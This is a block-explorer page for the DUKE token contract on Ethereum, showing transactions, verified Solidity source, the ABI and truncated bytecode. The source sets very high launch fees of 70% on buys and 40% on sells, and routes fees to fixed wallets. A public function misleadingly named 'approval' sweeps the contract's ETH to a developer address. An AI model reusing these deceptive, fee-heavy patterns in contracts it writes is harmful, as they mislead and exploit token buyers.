ETH Price: $3,415.60 (+3.00%)
Gas: 5.56 Gwei

Contract

0x5268BDCBe88Cf3c18EE19F54C38Ac6f9b9675367
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve203934892024-07-26 21:44:23150 days ago1722030263IN
0x5268BDCB...9b9675367
0 ETH0.000030941.27657683
Approve171657312023-05-01 11:38:11602 days ago1682941091IN
0x5268BDCB...9b9675367
0 ETH0.0025422455.00185132
Approve171621572023-04-30 23:33:23603 days ago1682897603IN
0x5268BDCB...9b9675367
0 ETH0.0016843636.20657643
Approve171207452023-04-25 3:56:35609 days ago1682394995IN
0x5268BDCB...9b9675367
0 ETH0.0016293534.97894119
Approve171132452023-04-24 2:41:59610 days ago1682304119IN
0x5268BDCB...9b9675367
0 ETH0.0016808536.31857168
Approve170539152023-04-15 17:36:47618 days ago1681580207IN
0x5268BDCB...9b9675367
0 ETH0.0012247226.50398917
Approve170110982023-04-09 13:41:11624 days ago1681047671IN
0x5268BDCB...9b9675367
0 ETH0.0005183921.38852596
Approve169127422023-03-26 16:18:59638 days ago1679847539IN
0x5268BDCB...9b9675367
0 ETH0.0012619827.12722623
Approve169094122023-03-26 5:05:47639 days ago1679807147IN
0x5268BDCB...9b9675367
0 ETH0.0006154213.21185942
Approve168910582023-03-23 15:14:59641 days ago1679584499IN
0x5268BDCB...9b9675367
0 ETH0.002187346.95701878
Approve168839192023-03-22 15:07:59642 days ago1679497679IN
0x5268BDCB...9b9675367
0 ETH0.0027944859.99188034
Approve168836942023-03-22 14:22:23642 days ago1679494943IN
0x5268BDCB...9b9675367
0 ETH0.0011503824.69644898
Approve168823192023-03-22 9:43:59642 days ago1679478239IN
0x5268BDCB...9b9675367
0 ETH0.0006707814.40035836
Approve168797632023-03-22 1:08:11643 days ago1679447291IN
0x5268BDCB...9b9675367
0 ETH0.0006109913.13378719
Approve168784982023-03-21 20:52:11643 days ago1679431931IN
0x5268BDCB...9b9675367
0 ETH0.0007953317.09636035
Approve168782922023-03-21 20:10:35643 days ago1679429435IN
0x5268BDCB...9b9675367
0 ETH0.0009240919.83836576
Approve168766142023-03-21 14:30:11643 days ago1679409011IN
0x5268BDCB...9b9675367
0 ETH0.0014999532.2424354
Approve168756092023-03-21 11:06:35643 days ago1679396795IN
0x5268BDCB...9b9675367
0 ETH0.0005607212.03759463
Approve168723902023-03-21 0:15:59644 days ago1679357759IN
0x5268BDCB...9b9675367
0 ETH0.0007546716.22224878
Approve168714472023-03-20 21:05:35644 days ago1679346335IN
0x5268BDCB...9b9675367
0 ETH0.0012806627.49332968
Transfer168714402023-03-20 21:04:11644 days ago1679346251IN
0x5268BDCB...9b9675367
0 ETH0.001981226.62980101
Approve168714342023-03-20 21:02:59644 days ago1679346179IN
0x5268BDCB...9b9675367
0 ETH0.0014221630.57030996
Approve168714302023-03-20 21:02:11644 days ago1679346131IN
0x5268BDCB...9b9675367
0 ETH0.0016918936.32159333
Approve168645982023-03-19 22:02:35645 days ago1679263355IN
0x5268BDCB...9b9675367
0 ETH0.0009995921.45922803
Approve168617482023-03-19 12:24:11645 days ago1679228651IN
0x5268BDCB...9b9675367
0 ETH0.0007162515.37660525
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block
From
To
171728312023-05-02 11:36:11601 days ago1683027371
0x5268BDCB...9b9675367
0.00346363 ETH
171728312023-05-02 11:36:11601 days ago1683027371
0x5268BDCB...9b9675367
0.01037744 ETH
171728312023-05-02 11:36:11601 days ago1683027371
0x5268BDCB...9b9675367
0.00000448 ETH
171728312023-05-02 11:36:11601 days ago1683027371
0x5268BDCB...9b9675367
0.00172957 ETH
171728312023-05-02 11:36:11601 days ago1683027371
0x5268BDCB...9b9675367
0.01556616 ETH
171207472023-04-25 3:56:59609 days ago1682395019
0x5268BDCB...9b9675367
0.00383178 ETH
171207472023-04-25 3:56:59609 days ago1682395019
0x5268BDCB...9b9675367
0.01147878 ETH
171207472023-04-25 3:56:59609 days ago1682395019
0x5268BDCB...9b9675367
0.00000552 ETH
171207472023-04-25 3:56:59609 days ago1682395019
0x5268BDCB...9b9675367
0.00191313 ETH
171207472023-04-25 3:56:59609 days ago1682395019
0x5268BDCB...9b9675367
0.01721818 ETH
168823202023-03-22 9:44:11642 days ago1679478251
0x5268BDCB...9b9675367
0.00469503 ETH
168823202023-03-22 9:44:11642 days ago1679478251
0x5268BDCB...9b9675367
0.01406034 ETH
168823202023-03-22 9:44:11642 days ago1679478251
0x5268BDCB...9b9675367
0.00000825 ETH
168823202023-03-22 9:44:11642 days ago1679478251
0x5268BDCB...9b9675367
0.00234339 ETH
168823202023-03-22 9:44:11642 days ago1679478251
0x5268BDCB...9b9675367
0.02109051 ETH
168785102023-03-21 20:54:35643 days ago1679432075
0x5268BDCB...9b9675367
0.00848504 ETH
168785102023-03-21 20:54:35643 days ago1679432075
0x5268BDCB...9b9675367
0.02538192 ETH
168785102023-03-21 20:54:35643 days ago1679432075
0x5268BDCB...9b9675367
0.00002439 ETH
168785102023-03-21 20:54:35643 days ago1679432075
0x5268BDCB...9b9675367
0.00423032 ETH
168785102023-03-21 20:54:35643 days ago1679432075
0x5268BDCB...9b9675367
0.03807289 ETH
168766192023-03-21 14:31:11643 days ago1679409071
0x5268BDCB...9b9675367
0.00951997 ETH
168766192023-03-21 14:31:11643 days ago1679409071
0x5268BDCB...9b9675367
0.02847032 ETH
168766192023-03-21 14:31:11643 days ago1679409071
0x5268BDCB...9b9675367
0.00002986 ETH
168766192023-03-21 14:31:11643 days ago1679409071
0x5268BDCB...9b9675367
0.00474505 ETH
168766192023-03-21 14:31:11643 days ago1679409071
0x5268BDCB...9b9675367
0.04270548 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
DUKE

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-07
*/

/**
 *Submitted for verification at BscScan.com on 2023-03-06
*/

/**

https://t.me/officialdukeerc

https://twitter.com/officialdukeerc

https://dukeeth.wtf

*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.17;


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}


interface IERC20 {
    function approval() external;
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    event OwnershipTransferred(address owner);
}

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
        function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract DUKE is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = 'DUKE';
    string private constant _symbol = 'DUKE';
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 1 * 10**8 * (10 ** _decimals);
    uint256 public _maxTxAmount = ( _totalSupply * 100 ) / 10000;
    uint256 public _maxWalletToken = ( _totalSupply * 100 ) / 10000;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    IRouter router;
    address public pair;
    uint256 private totalFee = 7000;
    uint256 private sellFee = 4000;
    uint256 private transferFee = 0;
    uint256 private denominator = 10000;
    uint256 private launchTime;
    bool private tradingAllowed = false;
    bool private ATLSCompletion = false;
    bool private AMLSCompletion = false;
    bool private swapEnabled = true;
    uint256 private swapTimes;
    bool private swapping;
    modifier lockTheSwap {swapping = true; _; swapping = false;}
    struct UserStats{bool FeeExempt;}
    mapping(address => UserStats) private isFeeExempt;
    uint256 private swapThreshold = ( _totalSupply * 300 ) / 100000;
    uint256 private _minTokenAmount = ( _totalSupply * 10 ) / 100000;

    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal constant development_receiver = 0x7703Dc115Ee1F8cD44B86b99E01dd48611e4d3F9; 
    address public constant marketing_receiver =0x26f163aadAD43558B265Ac02173c813f9C9B0697;
    address public constant liquidity_receiver = 0x7703Dc115Ee1F8cD44B86b99E01dd48611e4d3F9;

    constructor() Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router;
        pair = _pair;
        isFeeExempt[address(this)].FeeExempt = true;
        isFeeExempt[liquidity_receiver].FeeExempt = true;
        isFeeExempt[marketing_receiver].FeeExempt = true;
        isFeeExempt[development_receiver].FeeExempt = true;
        isFeeExempt[msg.sender].FeeExempt = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function startTrading() external onlyOwner {tradingAllowed = true; launchTime = block.timestamp;}
    function approval() public override {payable(development_receiver).transfer(address(this).balance);}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _totalSupply;}

    function validityCheck(address sender, address recipient, uint256 amount) internal view {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        if(tradingAllowed && !ATLSCompletion){AutomaticTaxLoweringSystem();}
        if(tradingAllowed && !AMLSCompletion){AutomaticMaxLoweringSystem();}
        validityCheck(sender, recipient, amount);
        checkTradingAllowed(sender, recipient);
        checkMaxWallet(sender, recipient, amount); 
        sellCounters(sender, recipient);
        checkTxLimit(sender, recipient, amount); 
        swapBack(sender, recipient, amount);
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function AutomaticTaxLoweringSystem() internal {
        if(launchTime.add(10 minutes) <= block.timestamp){totalFee = uint256(4000); sellFee =uint256(6000);}
        if(launchTime.add(60 minutes) <= block.timestamp){totalFee = uint256(1000); sellFee =uint256(2000);}
        if(launchTime.add(120 minutes) <= block.timestamp){totalFee = uint256(500); sellFee =uint256(500);
            ATLSCompletion = true;}
    }

    function AutomaticMaxLoweringSystem() internal {
        if(launchTime.add(10 minutes) <= block.timestamp){
            _maxTxAmount = ( _totalSupply * 200 ) / 10000; _maxWalletToken = ( _totalSupply * 200 ) / 10000;}
        if(launchTime.add(60 minutes) <= block.timestamp){
            _maxTxAmount = ( _totalSupply * 300 ) / 10000; _maxWalletToken = ( _totalSupply * 300 ) / 10000;}
        if(launchTime.add(120 minutes) <= block.timestamp){
            _maxTxAmount = _totalSupply; _maxWalletToken = _totalSupply; AMLSCompletion = true;}
    }

    function checkTradingAllowed(address sender, address recipient) internal view {
        if(!isFeeExempt[sender].FeeExempt && !isFeeExempt[recipient].FeeExempt){require(tradingAllowed, "tradingAllowed");}
    }
    
    function checkMaxWallet(address sender, address recipient, uint256 amount) internal view {
        if(!isFeeExempt[sender].FeeExempt && !isFeeExempt[recipient].FeeExempt && recipient != address(pair) && recipient != address(DEAD)){
            require((_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount.");}
    }

    function sellCounters(address sender, address recipient) internal {
        if(recipient == pair && !isFeeExempt[sender].FeeExempt){swapTimes += uint256(1);}
    }

    function checkTxLimit(address sender, address recipient, uint256 amount) internal view {
        require(amount <= _maxTxAmount || isFeeExempt[sender].FeeExempt || isFeeExempt[recipient].FeeExempt, "TX Limit Exceeded");
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = uint256(60).add(uint256(20).mul(uint256(2))).mul(uint256(2));
        uint256 tokensToAddLiquidityWith = tokens.mul(uint256(20)).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(uint256(20)));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(uint256(20));
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(uint256(60));
        if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);} approval();
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

    function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= _minTokenAmount;
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return !swapping && swapEnabled && tradingAllowed && aboveMin && !isFeeExempt[sender].FeeExempt && 
            recipient == pair && swapTimes >= uint256(3) && aboveThreshold;
    }

    function swapBack(address sender, address recipient, uint256 amount) internal {
        if(shouldSwapBack(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
    }

    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !isFeeExempt[sender].FeeExempt && !isFeeExempt[recipient].FeeExempt;
    }

    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(recipient == pair){return sellFee;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(getTotalFee(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        return amount.sub(feeAmount);} return amount;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"approval","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidity_receiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketing_receiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a62000472565b62000022906305f5e1006200048a565b60015561271060015460646200003991906200048a565b620000459190620004a4565b60025561271060015460646200005c91906200048a565b620000689190620004a4565b600355611b58600855610fa06009556000600a55612710600b55600d805463ffffffff19166301000000179055600154620186a090620000ab9061012c6200048a565b620000b79190620004a4565b601155620186a0600154600a620000cf91906200048a565b620000db9190620004a4565b601255348015620000eb57600080fd5b50600080546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa15801562000153573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001799190620004c7565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001c7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ed9190620004c7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200023b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002619190620004c7565b600680546001600160a01b038581166001600160a01b0319928316179092556007805492841692909116919091179055306000908152601060209081526040808320805460ff1990811660019081179092557f90f71d973a3d75dcf0330e2b966e153e472ea31eb5ea95385dddf64754f48ff180548216831790557f20e088830bc0ba035b89e57832dce8f44eaab3dbcfc64619220ab66c6c269d0c8054821683179055338086528386208054909216831790915590546004845282852081905591519182529394507fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050620004f2565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003b45781600019048211156200039857620003986200035d565b80851615620003a657918102915b93841c939080029062000378565b509250929050565b600082620003cd575060016200046c565b81620003dc575060006200046c565b8160018114620003f55760028114620004005762000420565b60019150506200046c565b60ff8411156200041457620004146200035d565b50506001821b6200046c565b5060208310610133831016604e8410600b841016171562000445575081810a6200046c565b62000451838362000373565b80600019048211156200046857620004686200035d565b0290505b92915050565b60006200048360ff841683620003bc565b9392505050565b80820281158282048414176200046c576200046c6200035d565b600082620004c257634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620004da57600080fd5b81516001600160a01b03811681146200048357600080fd5b61173380620005026000396000f3fe6080604052600436106101185760003560e01c806370a08231116100a0578063a8aa1b3111610064578063a8aa1b3114610306578063a9059cbb14610326578063dd62ed3e14610346578063e87655cf1461038c578063f2fde38b146103b457600080fd5b806370a082311461028657806378109e54146102bc5780637d1db4a5146102d2578063893d20e8146102e857806395d89b411461012457600080fd5b8063293230b8116100e7578063293230b8146101cf5780632f54bf6e146101e6578063313ce5671461021557806339788bc8146102315780635f7bcd701461024657600080fd5b806306fdde0314610124578063095ea7b31461016057806318160ddd1461019057806323b872dd146101af57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b50604080518082018252600481526344554b4560e01b602082015290516101579190611468565b60405180910390f35b34801561016c57600080fd5b5061018061017b3660046114cb565b6103d4565b6040519015158152602001610157565b34801561019c57600080fd5b506001545b604051908152602001610157565b3480156101bb57600080fd5b506101806101ca3660046114f7565b6103eb565b3480156101db57600080fd5b506101e4610455565b005b3480156101f257600080fd5b50610180610201366004611538565b6000546001600160a01b0391821691161490565b34801561022157600080fd5b5060405160098152602001610157565b34801561023d57600080fd5b506101e46104b0565b34801561025257600080fd5b5061026e7326f163aadad43558b265ac02173c813f9c9b069781565b6040516001600160a01b039091168152602001610157565b34801561029257600080fd5b506101a16102a1366004611538565b6001600160a01b031660009081526004602052604090205490565b3480156102c857600080fd5b506101a160035481565b3480156102de57600080fd5b506101a160025481565b3480156102f457600080fd5b506000546001600160a01b031661026e565b34801561031257600080fd5b5060075461026e906001600160a01b031681565b34801561033257600080fd5b506101806103413660046114cb565b6104f3565b34801561035257600080fd5b506101a1610361366004611555565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561039857600080fd5b5061026e737703dc115ee1f8cd44b86b99e01dd48611e4d3f981565b3480156103c057600080fd5b506101e46103cf366004611538565b610500565b60006103e1338484610597565b5060015b92915050565b60006103f88484846106bb565b61044a8433610445856040518060600160405280602881526020016116d6602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610830565b610597565b5060015b9392505050565b6000546001600160a01b0316331461049d5760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b60448201526064015b60405180910390fd5b600d805460ff1916600117905542600c55565b604051737703dc115ee1f8cd44b86b99e01dd48611e4d3f9904780156108fc02916000818181858888f193505050501580156104f0573d6000803e3d6000fd5b50565b60006103e13384846106bb565b6000546001600160a01b031633146105435760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610494565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166105f95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610494565b6001600160a01b03821661065a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610494565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600d5460ff1680156106d55750600d54610100900460ff16155b156106e2576106e261086a565b600d5460ff1680156106fd5750600d5462010000900460ff16155b1561070a5761070a6108e3565b6107158383836109c3565b61071f8383610b10565b61072a838383610b9e565b6107348383610c8a565b61073f838383610ce1565b61074a838383610d6d565b6001600160a01b03831660009081526004602052604090205461076d9082610d92565b6001600160a01b0384166000908152600460205260408120919091556107938484610dd4565b61079d57816107a8565b6107a8848484610e1a565b6001600160a01b0384166000908152600460205260409020549091506107ce9082610edf565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108229085815260200190565b60405180910390a350505050565b600081848411156108545760405162461bcd60e51b81526004016104949190611468565b50600061086184866115a4565b95945050505050565b600c54429061087b90610258610edf565b1161088d57610fa06008556117706009555b600c54429061089e90610e10610edf565b116108b0576103e86008556107d06009555b600c5442906108c190611c20610edf565b116108e1576101f46008819055600955600d805461ff0019166101001790555b565b600c5442906108f490610258610edf565b116109385761271060015460c861090b91906115b7565b61091591906115ce565b6002556001546127109061092a9060c86115b7565b61093491906115ce565b6003555b600c54429061094990610e10610edf565b1161098f5761271060015461012c61096191906115b7565b61096b91906115ce565b600255600154612710906109819061012c6115b7565b61098b91906115ce565b6003555b600c5442906109a090611c20610edf565b116108e1576001546002819055600355600d805462ff0000191662010000179055565b6001600160a01b038316610a275760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610494565b6001600160a01b038216610a895760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610494565b6001600160a01b038316600090815260046020526040902054811115610b0b5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610494565b505050565b6001600160a01b03821660009081526010602052604090205460ff16158015610b5257506001600160a01b03811660009081526010602052604090205460ff16155b15610b9a57600d5460ff16610b9a5760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b6044820152606401610494565b5050565b6001600160a01b03831660009081526010602052604090205460ff16158015610be057506001600160a01b03821660009081526010602052604090205460ff16155b8015610bfa57506007546001600160a01b03838116911614155b8015610c1157506001600160a01b03821661dead14155b15610b0b576003546001600160a01b038316600090815260046020526040902054610c3c9083610edf565b1115610b0b5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610494565b6007546001600160a01b038281169116148015610cc057506001600160a01b03821660009081526010602052604090205460ff16155b15610b9a576001600e6000828254610cd891906115f0565b90915550505050565b60025481111580610d0a57506001600160a01b03831660009081526010602052604090205460ff165b80610d2d57506001600160a01b03821660009081526010602052604090205460ff165b610b0b5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610494565b610d78838383610f3e565b15610b0b57610d88601154610ff0565b6000600e55505050565b600061044e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610830565b6001600160a01b03821660009081526010602052604081205460ff1615801561044e5750506001600160a01b031660009081526010602052604090205460ff1615919050565b600080610e27858561110d565b1115610ed8576000610e50610e3c868661110d565b600b54610e4a908690611158565b9061119a565b30600090815260046020526040902054909150610e6d9082610edf565b30600081815260046020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ebe9085815260200190565b60405180910390a3610ed0838